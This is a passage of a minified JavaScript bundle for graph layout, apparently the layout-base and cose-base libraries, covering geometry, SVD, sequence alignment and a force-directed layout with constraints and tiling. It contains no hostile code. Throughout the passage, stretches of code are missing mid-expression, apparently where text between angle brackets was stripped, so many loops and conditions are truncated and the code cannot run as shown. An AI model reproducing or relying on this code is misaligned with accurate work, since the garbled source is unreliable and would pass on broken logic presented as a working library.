l[0]=p,l[1]=h,l[2]=k,l[3]=d,!1;if(uf?(l[0]=y,l[1]=v,E=!0):(l[0]=g,l[1]=m,E=!0):_===M&&(u>f?(l[0]=p,l[1]=m,E=!0):(l[0]=x,l[1]=v,E=!0)),-O===M?f>u?(l[2]=A,l[3]=C,D=!0):(l[2]=k,l[3]=w,D=!0):O===M&&(f>u?(l[2]=S,l[3]=w,D=!0):(l[2]=R,l[3]=C,D=!0)),E&&D)return!1;if(u>f?h>d?(P=this.getCardinalDirection(_,M,4),B=this.getCardinalDirection(O,M,2)):(P=this.getCardinalDirection(-_,M,3),B=this.getCardinalDirection(-O,M,1)):h>d?(P=this.getCardinalDirection(-_,M,1),B=this.getCardinalDirection(-O,M,3)):(P=this.getCardinalDirection(_,M,2),B=this.getCardinalDirection(O,M,4)),!E)switch(P){case 1:G=m,F=u+-T/M,l[0]=F,l[1]=G;break;case 2:F=x,G=h+b*M,l[0]=F,l[1]=G;break;case 3:G=v,F=u+T/M,l[0]=F,l[1]=G;break;case 4:F=y,G=h+-b*M,l[0]=F,l[1]=G;break}if(!D)switch(B){case 1:U=w,$=f+-L/M,l[2]=$,l[3]=U;break;case 2:$=R,U=d+I*M,l[2]=$,l[3]=U;break;case 3:U=C,$=f+L/M,l[2]=$,l[3]=U;break;case 4:$=A,U=d+-I*M,l[2]=$,l[3]=U;break}}return!1},i.getCardinalDirection=function(a,s,l){return a>s?l:1+l%4},i.getIntersection=function(a,s,l,u){if(u==null)return this.getIntersection2(a,s,l);var h=a.x,f=a.y,d=s.x,p=s.y,m=l.x,g=l.y,y=u.x,v=u.y,x=void 0,b=void 0,T=void 0,S=void 0,w=void 0,k=void 0,A=void 0,C=void 0,R=void 0;return T=p-f,w=h-d,A=d*f-h*p,S=v-g,k=m-y,C=y*g-m*v,R=T*k-S*w,R===0?null:(x=(w*C-k*A)/R,b=(S*A-T*C)/R,new n(x,b))},i.angleOfVector=function(a,s,l,u){var h=void 0;return a!==l?(h=Math.atan((u-s)/(l-a)),l=0){var v=(-m+Math.sqrt(m*m-4*p*g))/(2*p),x=(-m-Math.sqrt(m*m-4*p*g))/(2*p),b=null;return v>=0&&v<=1?[v]:x>=0&&x<=1?[x]:b}else return null},i.HALF_PI=.5*Math.PI,i.ONE_AND_HALF_PI=1.5*Math.PI,i.TWO_PI=2*Math.PI,i.THREE_PI=3*Math.PI,t.exports=i}),(function(t,e,r){"use strict";function n(){}o(n,"IMath"),n.sign=function(i){return i>0?1:i<0?-1:0},n.floor=function(i){return i<0?Math.ceil(i):Math.floor(i)},n.ceil=function(i){return i<0?Math.floor(i):Math.ceil(i)},t.exports=n}),(function(t,e,r){"use strict";function n(){}o(n,"Integer"),n.MAX_VALUE=2147483647,n.MIN_VALUE=-2147483648,t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function h(f,d){for(var p=0;p"u"?"undefined":n(a);return a==null||s!="object"&&s!="function"},t.exports=i}),(function(t,e,r){"use strict";function n(m){if(Array.isArray(m)){for(var g=0,y=Array(m.length);g0&&g;){for(T.push(w[0]);T.length>0&&g;){var k=T[0];T.splice(0,1),b.add(k);for(var A=k.getEdges(),x=0;x-1&&w.splice(L,1)}b=new Set,S=new Map}}return m},p.prototype.createDummyNodesForBendpoints=function(m){for(var g=[],y=m.source,v=this.graphManager.calcLowestCommonAncestor(m.source,m.target),x=0;x0){for(var v=this.edgeToDummyNodes.get(y),x=0;x=0&&g.splice(C,1);var R=S.getNeighborsList();R.forEach(function(E){if(y.indexOf(E)<0){var D=v.get(E),_=D-1;_==1&&k.push(E),v.set(E,_)}})}y=y.concat(k),(g.length==1||g.length==2)&&(x=!0,b=g[0])}return b},p.prototype.setGraphManager=function(m){this.graphManager=m},t.exports=p}),(function(t,e,r){"use strict";function n(){}o(n,"RandomSeed"),n.seed=1,n.x=0,n.nextDouble=function(){return n.x=Math.sin(n.seed++)*1e4,n.x-Math.floor(n.x)},t.exports=n}),(function(t,e,r){"use strict";var n=r(5);function i(a,s){this.lworldOrgX=0,this.lworldOrgY=0,this.ldeviceOrgX=0,this.ldeviceOrgY=0,this.lworldExtX=1,this.lworldExtY=1,this.ldeviceExtX=1,this.ldeviceExtY=1}o(i,"Transform"),i.prototype.getWorldOrgX=function(){return this.lworldOrgX},i.prototype.setWorldOrgX=function(a){this.lworldOrgX=a},i.prototype.getWorldOrgY=function(){return this.lworldOrgY},i.prototype.setWorldOrgY=function(a){this.lworldOrgY=a},i.prototype.getWorldExtX=function(){return this.lworldExtX},i.prototype.setWorldExtX=function(a){this.lworldExtX=a},i.prototype.getWorldExtY=function(){return this.lworldExtY},i.prototype.setWorldExtY=function(a){this.lworldExtY=a},i.prototype.getDeviceOrgX=function(){return this.ldeviceOrgX},i.prototype.setDeviceOrgX=function(a){this.ldeviceOrgX=a},i.prototype.getDeviceOrgY=function(){return this.ldeviceOrgY},i.prototype.setDeviceOrgY=function(a){this.ldeviceOrgY=a},i.prototype.getDeviceExtX=function(){return this.ldeviceExtX},i.prototype.setDeviceExtX=function(a){this.ldeviceExtX=a},i.prototype.getDeviceExtY=function(){return this.ldeviceExtY},i.prototype.setDeviceExtY=function(a){this.ldeviceExtY=a},i.prototype.transformX=function(a){var s=0,l=this.lworldExtX;return l!=0&&(s=this.ldeviceOrgX+(a-this.lworldOrgX)*this.ldeviceExtX/l),s},i.prototype.transformY=function(a){var s=0,l=this.lworldExtY;return l!=0&&(s=this.ldeviceOrgY+(a-this.lworldOrgY)*this.ldeviceExtY/l),s},i.prototype.inverseTransformX=function(a){var s=0,l=this.ldeviceExtX;return l!=0&&(s=this.lworldOrgX+(a-this.ldeviceOrgX)*this.lworldExtX/l),s},i.prototype.inverseTransformY=function(a){var s=0,l=this.ldeviceExtY;return l!=0&&(s=this.lworldOrgY+(a-this.ldeviceOrgY)*this.lworldExtY/l),s},i.prototype.inverseTransformPoint=function(a){var s=new n(this.inverseTransformX(a.x),this.inverseTransformY(a.y));return s},t.exports=i}),(function(t,e,r){"use strict";function n(d){if(Array.isArray(d)){for(var p=0,m=Array(d.length);pa.ADAPTATION_LOWER_NODE_LIMIT&&(this.coolingFactor=Math.max(this.coolingFactor*a.COOLING_ADAPTATION_FACTOR,this.coolingFactor-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*this.coolingFactor*(1-a.COOLING_ADAPTATION_FACTOR))),this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT_INCREMENTAL):(d>a.ADAPTATION_LOWER_NODE_LIMIT?this.coolingFactor=Math.max(a.COOLING_ADAPTATION_FACTOR,1-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*(1-a.COOLING_ADAPTATION_FACTOR)):this.coolingFactor=1,this.initialCoolingFactor=this.coolingFactor,this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT),this.maxIterations=Math.max(this.getAllNodes().length*5,this.maxIterations),this.displacementThresholdPerNode=3*a.DEFAULT_EDGE_LENGTH/100,this.totalDisplacementThreshold=this.displacementThresholdPerNode*this.getAllNodes().length,this.repulsionRange=this.calcRepulsionRange()},h.prototype.calcSpringForces=function(){for(var d=this.getAllEdges(),p,m=0;m0&&arguments[0]!==void 0?arguments[0]:!0,p=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,m,g,y,v,x=this.getAllNodes(),b;if(this.useFRGridVariant)for(this.totalIterations%a.GRID_CALCULATION_CHECK_PERIOD==1&&d&&this.updateGrid(),b=new Set,m=0;mT||b>T)&&(d.gravitationForceX=-this.gravityConstant*y,d.gravitationForceY=-this.gravityConstant*v)):(T=p.getEstimatedSize()*this.compoundGravityRangeFactor,(x>T||b>T)&&(d.gravitationForceX=-this.gravityConstant*y*this.compoundGravityConstant,d.gravitationForceY=-this.gravityConstant*v*this.compoundGravityConstant))},h.prototype.isConverged=function(){var d,p=!1;return this.totalIterations>this.maxIterations/3&&(p=Math.abs(this.totalDisplacement-this.oldTotalDisplacement)<2),d=this.totalDisplacement=x.length||T>=x[0].length)){for(var S=0;Sh},"_defaultCompareFunction")}]),l})();t.exports=s}),(function(t,e,r){"use strict";function n(){}o(n,"SVD"),n.svd=function(i){this.U=null,this.V=null,this.s=null,this.m=0,this.n=0,this.m=i.length,this.n=i[0].length;var a=Math.min(this.m,this.n);this.s=(function(dt){for(var nt=[];dt-- >0;)nt.push(0);return nt})(Math.min(this.m+1,this.n)),this.U=(function(dt){var nt=o(function bt(wt){if(wt.length==0)return 0;for(var yt=[],ft=0;ft0;)nt.push(0);return nt})(this.n),l=(function(dt){for(var nt=[];dt-- >0;)nt.push(0);return nt})(this.m),u=!0,h=!0,f=Math.min(this.m-1,this.n),d=Math.max(0,Math.min(this.n-2,this.m)),p=0;p=0;M--)if(this.s[M]!==0){for(var P=M+1;P=0;te--){if((function(dt,nt){return dt&&nt})(te0;){var Q=void 0,de=void 0;for(Q=D-2;Q>=-1&&Q!==-1;Q--)if(Math.abs(s[Q])<=ae+K*(Math.abs(this.s[Q])+Math.abs(this.s[Q+1]))){s[Q]=0;break}if(Q===D-2)de=4;else{var ne=void 0;for(ne=D-1;ne>=Q&&ne!==Q;ne--){var Te=(ne!==D?Math.abs(s[ne]):0)+(ne!==Q+1?Math.abs(s[ne-1]):0);if(Math.abs(this.s[ne])<=ae+K*Te){this.s[ne]=0;break}}ne===Q?de=3:ne===D-1?de=1:(de=2,Q=ne)}switch(Q++,de){case 1:{var q=s[D-2];s[D-2]=0;for(var Ve=D-2;Ve>=Q;Ve--){var pe=n.hypot(this.s[Ve],q),Be=this.s[Ve]/pe,Ye=q/pe;if(this.s[Ve]=pe,Ve!==Q&&(q=-Ye*s[Ve-1],s[Ve-1]=Be*s[Ve-1]),h)for(var He=0;He=this.s[Q+1]);){var lt=this.s[Q];if(this.s[Q]=this.s[Q+1],this.s[Q+1]=lt,h&&QMath.abs(a)?(s=a/i,s=Math.abs(i)*Math.sqrt(1+s*s)):a!=0?(s=i/a,s=Math.abs(a)*Math.sqrt(1+s*s)):s=0,s},t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function s(l,u){for(var h=0;h2&&arguments[2]!==void 0?arguments[2]:1,f=arguments.length>3&&arguments[3]!==void 0?arguments[3]:-1,d=arguments.length>4&&arguments[4]!==void 0?arguments[4]:-1;i(this,s),this.sequence1=l,this.sequence2=u,this.match_score=h,this.mismatch_penalty=f,this.gap_penalty=d,this.iMax=l.length+1,this.jMax=u.length+1,this.grid=new Array(this.iMax);for(var p=0;p=0;l--){var u=this.listeners[l];u.event===a&&u.callback===s&&this.listeners.splice(l,1)}},i.emit=function(a,s){for(var l=0;l{"use strict";o((function(e,r){typeof P4=="object"&&typeof Rz=="object"?Rz.exports=r(Lz()):typeof define=="function"&&define.amd?define(["layout-base"],r):typeof P4=="object"?P4.coseBase=r(Lz()):e.coseBase=r(e.layoutBase)}),"webpackUniversalModuleDefinition")(P4,function(t){return(()=>{"use strict";var e={45:((a,s,l)=>{var u={};u.layoutBase=l(551),u.CoSEConstants=l(806),u.CoSEEdge=l(767),u.CoSEGraph=l(880),u.CoSEGraphManager=l(578),u.CoSELayout=l(765),u.CoSENode=l(991),u.ConstraintHandler=l(902),a.exports=u}),806:((a,s,l)=>{var u=l(551).FDLayoutConstants;function h(){}o(h,"CoSEConstants");for(var f in u)h[f]=u[f];h.DEFAULT_USE_MULTI_LEVEL_SCALING=!1,h.DEFAULT_RADIAL_SEPARATION=u.DEFAULT_EDGE_LENGTH,h.DEFAULT_COMPONENT_SEPERATION=60,h.TILE=!0,h.TILING_PADDING_VERTICAL=10,h.TILING_PADDING_HORIZONTAL=10,h.TRANSFORM_ON_CONSTRAINT_HANDLING=!0,h.ENFORCE_CONSTRAINTS=!0,h.APPLY_LAYOUT=!0,h.RELAX_MOVEMENT_ON_CONSTRAINTS=!0,h.TREE_REDUCTION_ON_INCREMENTAL=!0,h.PURE_INCREMENTAL=h.DEFAULT_INCREMENTAL,a.exports=h}),767:((a,s,l)=>{var u=l(551).FDLayoutEdge;function h(d,p,m){u.call(this,d,p,m)}o(h,"CoSEEdge"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),880:((a,s,l)=>{var u=l(551).LGraph;function h(d,p,m){u.call(this,d,p,m)}o(h,"CoSEGraph"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),578:((a,s,l)=>{var u=l(551).LGraphManager;function h(d){u.call(this,d)}o(h,"CoSEGraphManager"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),765:((a,s,l)=>{var u=l(551).FDLayout,h=l(578),f=l(880),d=l(991),p=l(767),m=l(806),g=l(902),y=l(551).FDLayoutConstants,v=l(551).LayoutConstants,x=l(551).Point,b=l(551).PointD,T=l(551).DimensionD,S=l(551).Layout,w=l(551).Integer,k=l(551).IGeometry,A=l(551).LGraph,C=l(551).Transform,R=l(551).LinkedList;function I(){u.call(this),this.toBeTiled={},this.constraints={}}o(I,"CoSELayout"),I.prototype=Object.create(u.prototype);for(var L in u)I[L]=u[L];I.prototype.newGraphManager=function(){var E=new h(this);return this.graphManager=E,E},I.prototype.newGraph=function(E){return new f(null,this.graphManager,E)},I.prototype.newNode=function(E){return new d(this.graphManager,E)},I.prototype.newEdge=function(E){return new p(null,null,E)},I.prototype.initParameters=function(){u.prototype.initParameters.call(this,arguments),this.isSubLayout||(m.DEFAULT_EDGE_LENGTH<10?this.idealEdgeLength=10:this.idealEdgeLength=m.DEFAULT_EDGE_LENGTH,this.useSmartIdealEdgeLengthCalculation=m.DEFAULT_USE_SMART_IDEAL_EDGE_LENGTH_CALCULATION,this.gravityConstant=y.DEFAULT_GRAVITY_STRENGTH,this.compoundGravityConstant=y.DEFAULT_COMPOUND_GRAVITY_STRENGTH,this.gravityRangeFactor=y.DEFAULT_GRAVITY_RANGE_FACTOR,this.compoundGravityRangeFactor=y.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR,this.prunedNodesAll=[],this.growTreeIterations=0,this.afterGrowthIterations=0,this.isTreeGrowing=!1,this.isGrowthFinished=!1)},I.prototype.initSpringEmbedder=function(){u.prototype.initSpringEmbedder.call(this),this.coolingCycle=0,this.maxCoolingCycle=this.maxIterations/y.CONVERGENCE_CHECK_PERIOD,this.finalTemperature=.04,this.coolingAdjuster=1},I.prototype.layout=function(){var E=v.DEFAULT_CREATE_BENDS_AS_NEEDED;return E&&(this.createBendpoints(),this.graphManager.resetAllEdges()),this.level=0,this.classicLayout()},I.prototype.classicLayout=function(){if(this.nodesWithGravity=this.calculateNodesToApplyGravitationTo(),this.graphManager.setAllNodesToApplyGravitation(this.nodesWithGravity),this.calcNoOfChildrenForAllNodes(),this.graphManager.calcLowestCommonAncestors(),this.graphManager.calcInclusionTreeDepths(),this.graphManager.getRoot().calcEstimatedSize(),this.calcIdealEdgeLengths(),this.incremental){if(m.TREE_REDUCTION_ON_INCREMENTAL){this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var D=new Set(this.getAllNodes()),_=this.nodesWithGravity.filter(function(P){return D.has(P)});this.graphManager.setAllNodesToApplyGravitation(_)}}else{var E=this.getFlatForest();if(E.length>0)this.positionNodesRadially(E);else{this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var D=new Set(this.getAllNodes()),_=this.nodesWithGravity.filter(function(O){return D.has(O)});this.graphManager.setAllNodesToApplyGravitation(_),this.positionNodesRandomly()}}return Object.keys(this.constraints).length>0&&(g.handleConstraints(this),this.initConstraintVariables()),this.initSpringEmbedder(),m.APPLY_LAYOUT&&this.runSpringEmbedder(),!0},I.prototype.tick=function(){if(this.totalIterations++,this.totalIterations===this.maxIterations&&!this.isTreeGrowing&&!this.isGrowthFinished)if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;if(this.totalIterations%y.CONVERGENCE_CHECK_PERIOD==0&&!this.isTreeGrowing&&!this.isGrowthFinished){if(this.isConverged())if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;this.coolingCycle++,this.layoutQuality==0?this.coolingAdjuster=this.coolingCycle:this.layoutQuality==1&&(this.coolingAdjuster=this.coolingCycle/3),this.coolingFactor=Math.max(this.initialCoolingFactor-Math.pow(this.coolingCycle,Math.log(100*(this.initialCoolingFactor-this.finalTemperature))/Math.log(this.maxCoolingCycle))/100*this.coolingAdjuster,this.finalTemperature),this.animationPeriod=Math.ceil(this.initialAnimationPeriod*Math.sqrt(this.coolingFactor))}if(this.isTreeGrowing){if(this.growTreeIterations%10==0)if(this.prunedNodesAll.length>0){this.graphManager.updateBounds(),this.updateGrid(),this.growTree(this.prunedNodesAll),this.graphManager.resetAllNodesToApplyGravitation();var E=new Set(this.getAllNodes()),D=this.nodesWithGravity.filter(function(M){return E.has(M)});this.graphManager.setAllNodesToApplyGravitation(D),this.graphManager.updateBounds(),this.updateGrid(),m.PURE_INCREMENTAL?this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL/2:this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL}else this.isTreeGrowing=!1,this.isGrowthFinished=!0;this.growTreeIterations++}if(this.isGrowthFinished){if(this.isConverged())return!0;this.afterGrowthIterations%10==0&&(this.graphManager.updateBounds(),this.updateGrid()),m.PURE_INCREMENTAL?this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL/2*((100-this.afterGrowthIterations)/100):this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL*((100-this.afterGrowthIterations)/100),this.afterGrowthIterations++}var _=!this.isTreeGrowing&&!this.isGrowthFinished,O=this.growTreeIterations%10==1&&this.isTreeGrowing||this.afterGrowthIterations%10==1&&this.isGrowthFinished;return this.totalDisplacement=0,this.graphManager.updateBounds(),this.calcSpringForces(),this.calcRepulsionForces(_,O),this.calcGravitationalForces(),this.moveNodes(),this.animate(),!1},I.prototype.getPositionsData=function(){for(var E=this.graphManager.getAllNodes(),D={},_=0;_0&&this.updateDisplacements();for(var _=0;_0&&(O.fixedNodeWeight=P)}}if(this.constraints.relativePlacementConstraint){var B=new Map,F=new Map;if(this.dummyToNodeForVerticalAlignment=new Map,this.dummyToNodeForHorizontalAlignment=new Map,this.fixedNodesOnHorizontal=new Set,this.fixedNodesOnVertical=new Set,this.fixedNodeSet.forEach(function(J){E.fixedNodesOnHorizontal.add(J),E.fixedNodesOnVertical.add(J)}),this.constraints.alignmentConstraint){if(this.constraints.alignmentConstraint.vertical)for(var G=this.constraints.alignmentConstraint.vertical,_=0;_=2*J.length/3;ee--)ue=Math.floor(Math.random()*(ee+1)),re=J[ee],J[ee]=J[ue],J[ue]=re;return J},this.nodesInRelativeHorizontal=[],this.nodesInRelativeVertical=[],this.nodeToRelativeConstraintMapHorizontal=new Map,this.nodeToRelativeConstraintMapVertical=new Map,this.nodeToTempPositionMapHorizontal=new Map,this.nodeToTempPositionMapVertical=new Map,this.constraints.relativePlacementConstraint.forEach(function(J){if(J.left){var ue=B.has(J.left)?B.get(J.left):J.left,re=B.has(J.right)?B.get(J.right):J.right;E.nodesInRelativeHorizontal.includes(ue)||(E.nodesInRelativeHorizontal.push(ue),E.nodeToRelativeConstraintMapHorizontal.set(ue,[]),E.dummyToNodeForVerticalAlignment.has(ue)?E.nodeToTempPositionMapHorizontal.set(ue,E.idToNodeMap.get(E.dummyToNodeForVerticalAlignment.get(ue)[0]).getCenterX()):E.nodeToTempPositionMapHorizontal.set(ue,E.idToNodeMap.get(ue).getCenterX())),E.nodesInRelativeHorizontal.includes(re)||(E.nodesInRelativeHorizontal.push(re),E.nodeToRelativeConstraintMapHorizontal.set(re,[]),E.dummyToNodeForVerticalAlignment.has(re)?E.nodeToTempPositionMapHorizontal.set(re,E.idToNodeMap.get(E.dummyToNodeForVerticalAlignment.get(re)[0]).getCenterX()):E.nodeToTempPositionMapHorizontal.set(re,E.idToNodeMap.get(re).getCenterX())),E.nodeToRelativeConstraintMapHorizontal.get(ue).push({right:re,gap:J.gap}),E.nodeToRelativeConstraintMapHorizontal.get(re).push({left:ue,gap:J.gap})}else{var ee=F.has(J.top)?F.get(J.top):J.top,Z=F.has(J.bottom)?F.get(J.bottom):J.bottom;E.nodesInRelativeVertical.includes(ee)||(E.nodesInRelativeVertical.push(ee),E.nodeToRelativeConstraintMapVertical.set(ee,[]),E.dummyToNodeForHorizontalAlignment.has(ee)?E.nodeToTempPositionMapVertical.set(ee,E.idToNodeMap.get(E.dummyToNodeForHorizontalAlignment.get(ee)[0]).getCenterY()):E.nodeToTempPositionMapVertical.set(ee,E.idToNodeMap.get(ee).getCenterY())),E.nodesInRelativeVertical.includes(Z)||(E.nodesInRelativeVertical.push(Z),E.nodeToRelativeConstraintMapVertical.set(Z,[]),E.dummyToNodeForHorizontalAlignment.has(Z)?E.nodeToTempPositionMapVertical.set(Z,E.idToNodeMap.get(E.dummyToNodeForHorizontalAlignment.get(Z)[0]).getCenterY()):E.nodeToTempPositionMapVertical.set(Z,E.idToNodeMap.get(Z).getCenterY())),E.nodeToRelativeConstraintMapVertical.get(ee).push({bottom:Z,gap:J.gap}),E.nodeToRelativeConstraintMapVertical.get(Z).push({top:ee,gap:J.gap})}});else{var U=new Map,j=new Map;this.constraints.relativePlacementConstraint.forEach(function(J){if(J.left){var ue=B.has(J.left)?B.get(J.left):J.left,re=B.has(J.right)?B.get(J.right):J.right;U.has(ue)?U.get(ue).push(re):U.set(ue,[re]),U.has(re)?U.get(re).push(ue):U.set(re,[ue])}else{var ee=F.has(J.top)?F.get(J.top):J.top,Z=F.has(J.bottom)?F.get(J.bottom):J.bottom;j.has(ee)?j.get(ee).push(Z):j.set(ee,[Z]),j.has(Z)?j.get(Z).push(ee):j.set(Z,[ee])}});var te=o(function(ue,re){var ee=[],Z=[],K=new R,ae=new Set,Q=0;return ue.forEach(function(de,ne){if(!ae.has(ne)){ee[Q]=[],Z[Q]=!1;var Te=ne;for(K.push(Te),ae.add(Te),ee[Q].push(Te);K.length!=0;){Te=K.shift(),re.has(Te)&&(Z[Q]=!0);var q=ue.get(Te);q.forEach(function(Ve){ae.has(Ve)||(K.push(Ve),ae.add(Ve),ee[Q].push(Ve))})}Q++}}),{components:ee,isFixed:Z}},"constructComponents"),Y=te(U,E.fixedNodesOnHorizontal);this.componentsOnHorizontal=Y.components,this.fixedComponentsOnHorizontal=Y.isFixed;var oe=te(j,E.fixedNodesOnVertical);this.componentsOnVertical=oe.components,this.fixedComponentsOnVertical=oe.isFixed}}},I.prototype.updateDisplacements=function(){var E=this;if(this.constraints.fixedNodeConstraint&&this.constraints.fixedNodeConstraint.forEach(function(oe){var J=E.idToNodeMap.get(oe.nodeId);J.displacementX=0,J.displacementY=0}),this.constraints.alignmentConstraint){if(this.constraints.alignmentConstraint.vertical)for(var D=this.constraints.alignmentConstraint.vertical,_=0;_1){var F;for(F=0;FO&&(O=Math.floor(B.y)),P=Math.floor(B.x+m.DEFAULT_COMPONENT_SEPERATION)}this.transform(new b(v.WORLD_CENTER_X-B.x/2,v.WORLD_CENTER_Y-B.y/2))},I.radialLayout=function(E,D,_){var O=Math.max(this.maxDiagonalInTree(E),m.DEFAULT_RADIAL_SEPARATION);I.branchRadialLayout(D,null,0,359,0,O);var M=A.calculateBounds(E),P=new C;P.setDeviceOrgX(M.getMinX()),P.setDeviceOrgY(M.getMinY()),P.setWorldOrgX(_.x),P.setWorldOrgY(_.y);for(var B=0;B1;){var ee=re[0];re.splice(0,1);var Z=te.indexOf(ee);Z>=0&&te.splice(Z,1),J--,Y--}D!=null?ue=(te.indexOf(re[0])+1)%J:ue=0;for(var K=Math.abs(O-_)/Y,ae=ue;oe!=Y;ae=++ae%J){var Q=te[ae].getOtherEnd(E);if(Q!=D){var de=(_+oe*K)%360,ne=(de+K)%360;I.branchRadialLayout(Q,E,de,ne,M+P,P),oe++}}},I.maxDiagonalInTree=function(E){for(var D=w.MIN_VALUE,_=0;_D&&(D=M)}return D},I.prototype.calcRepulsionRange=function(){return 2*(this.level+1)*this.idealEdgeLength},I.prototype.groupZeroDegreeMembers=function(){var E=this,D={};this.memberGroups={},this.idToDummyNode={};for(var _=[],O=this.graphManager.getAllNodes(),M=0;M"u"&&(D[F]=[]),D[F]=D[F].concat(P)}Object.keys(D).forEach(function(G){if(D[G].length>1){var $="DummyCompound_"+G;E.memberGroups[$]=D[G];var U=D[G][0].getParent(),j=new d(E.graphManager);j.id=$,j.paddingLeft=U.paddingLeft||0,j.paddingRight=U.paddingRight||0,j.paddingBottom=U.paddingBottom||0,j.paddingTop=U.paddingTop||0,E.idToDummyNode[$]=j;var te=E.getGraphManager().add(E.newGraph(),j),Y=U.getChild();Y.add(j);for(var oe=0;oeM?(O.rect.x-=(O.labelWidth-M)/2,O.setWidth(O.labelWidth),O.labelMarginLeft=(O.labelWidth-M)/2):O.labelPosHorizontal=="right"&&O.setWidth(M+O.labelWidth)),O.labelHeight&&(O.labelPosVertical=="top"?(O.rect.y-=O.labelHeight,O.setHeight(P+O.labelHeight),O.labelMarginTop=O.labelHeight):O.labelPosVertical=="center"&&O.labelHeight>P?(O.rect.y-=(O.labelHeight-P)/2,O.setHeight(O.labelHeight),O.labelMarginTop=(O.labelHeight-P)/2):O.labelPosVertical=="bottom"&&O.setHeight(P+O.labelHeight))}})},I.prototype.repopulateCompounds=function(){for(var E=this.compoundOrder.length-1;E>=0;E--){var D=this.compoundOrder[E],_=D.id,O=D.paddingLeft,M=D.paddingTop,P=D.labelMarginLeft,B=D.labelMarginTop;this.adjustLocations(this.tiledMemberPack[_],D.rect.x,D.rect.y,O,M,P,B)}},I.prototype.repopulateZeroDegreeMembers=function(){var E=this,D=this.tiledZeroDegreePack;Object.keys(D).forEach(function(_){var O=E.idToDummyNode[_],M=O.paddingLeft,P=O.paddingTop,B=O.labelMarginLeft,F=O.labelMarginTop;E.adjustLocations(D[_],O.rect.x,O.rect.y,M,P,B,F)})},I.prototype.getToBeTiled=function(E){var D=E.id;if(this.toBeTiled[D]!=null)return this.toBeTiled[D];var _=E.getChild();if(_==null)return this.toBeTiled[D]=!1,!1;for(var O=_.getNodes(),M=0;M0)return this.toBeTiled[D]=!1,!1;if(P.getChild()==null){this.toBeTiled[P.id]=!1;continue}if(!this.getToBeTiled(P))return this.toBeTiled[D]=!1,!1}return this.toBeTiled[D]=!0,!0},I.prototype.getNodeDegree=function(E){for(var D=E.id,_=E.getEdges(),O=0,M=0;M<_.length;M++){var P=_[M];P.getSource().id!==P.getTarget().id&&(O=O+1)}return O},I.prototype.getNodeDegreeWithChildren=function(E){var D=this.getNodeDegree(E);if(E.getChild()==null)return D;for(var _=E.getChild().getNodes(),O=0;O<_.length;O++){var M=_[O];D+=this.getNodeDegreeWithChildren(M)}return D},I.prototype.performDFSOnCompounds=function(){this.compoundOrder=[],this.fillCompexOrderByDFS(this.graphManager.getRoot().getNodes())},I.prototype.fillCompexOrderByDFS=function(E){for(var D=0;DU&&(U=te.rect.height)}_+=U+E.verticalPadding}},I.prototype.tileCompoundMembers=function(E,D){var _=this;this.tiledMemberPack=[],Object.keys(E).forEach(function(O){var M=D[O];if(_.tiledMemberPack[O]=_.tileNodes(E[O],M.paddingLeft+M.paddingRight),M.rect.width=_.tiledMemberPack[O].width,M.rect.height=_.tiledMemberPack[O].height,M.setCenter(_.tiledMemberPack[O].centerX,_.tiledMemberPack[O].centerY),M.labelMarginLeft=0,M.labelMarginTop=0,m.NODE_DIMENSIONS_INCLUDE_LABELS){var P=M.rect.width,B=M.rect.height;M.labelWidth&&(M.labelPosHorizontal=="left"?(M.rect.x-=M.labelWidth,M.setWidth(P+M.labelWidth),M.labelMarginLeft=M.labelWidth):M.labelPosHorizontal=="center"&&M.labelWidth>P?(M.rect.x-=(M.labelWidth-P)/2,M.setWidth(M.labelWidth),M.labelMarginLeft=(M.labelWidth-P)/2):M.labelPosHorizontal=="right"&&M.setWidth(P+M.labelWidth)),M.labelHeight&&(M.labelPosVertical=="top"?(M.rect.y-=M.labelHeight,M.setHeight(B+M.labelHeight),M.labelMarginTop=M.labelHeight):M.labelPosVertical=="center"&&M.labelHeight>B?(M.rect.y-=(M.labelHeight-B)/2,M.setHeight(M.labelHeight),M.labelMarginTop=(M.labelHeight-B)/2):M.labelPosVertical=="bottom"&&M.setHeight(B+M.labelHeight))}})},I.prototype.tileNodes=function(E,D){var _=this.tileNodesByFavoringDim(E,D,!0),O=this.tileNodesByFavoringDim(E,D,!1),M=this.getOrgRatio(_),P=this.getOrgRatio(O),B;return PF&&(F=oe.getWidth())});var G=P/M,$=B/M,U=Math.pow(_-O,2)+4*(G+O)*($+_)*M,j=(O-_+Math.sqrt(U))/(2*(G+O)),te;D?(te=Math.ceil(j),te==j&&te++):te=Math.floor(j);var Y=te*(G+O)-O;return F>Y&&(Y=F),Y+=O*2,Y},I.prototype.tileNodesByFavoringDim=function(E,D,_){var O=m.TILING_PADDING_VERTICAL,M=m.TILING_PADDING_HORIZONTAL,P=m.TILING_COMPARE_BY,B={rows:[],rowWidth:[],rowHeight:[],width:0,height:D,verticalPadding:O,horizontalPadding:M,centerX:0,centerY:0};P&&(B.idealRowWidth=this.calcIdealRowWidth(E,_));var F=o(function(J){return J.rect.width*J.rect.height},"getNodeArea"),G=o(function(J,ue){return F(ue)-F(J)},"areaCompareFcn");E.sort(function(oe,J){var ue=G;return B.idealRowWidth?(ue=P,ue(oe.id,J.id)):ue(oe,J)});for(var 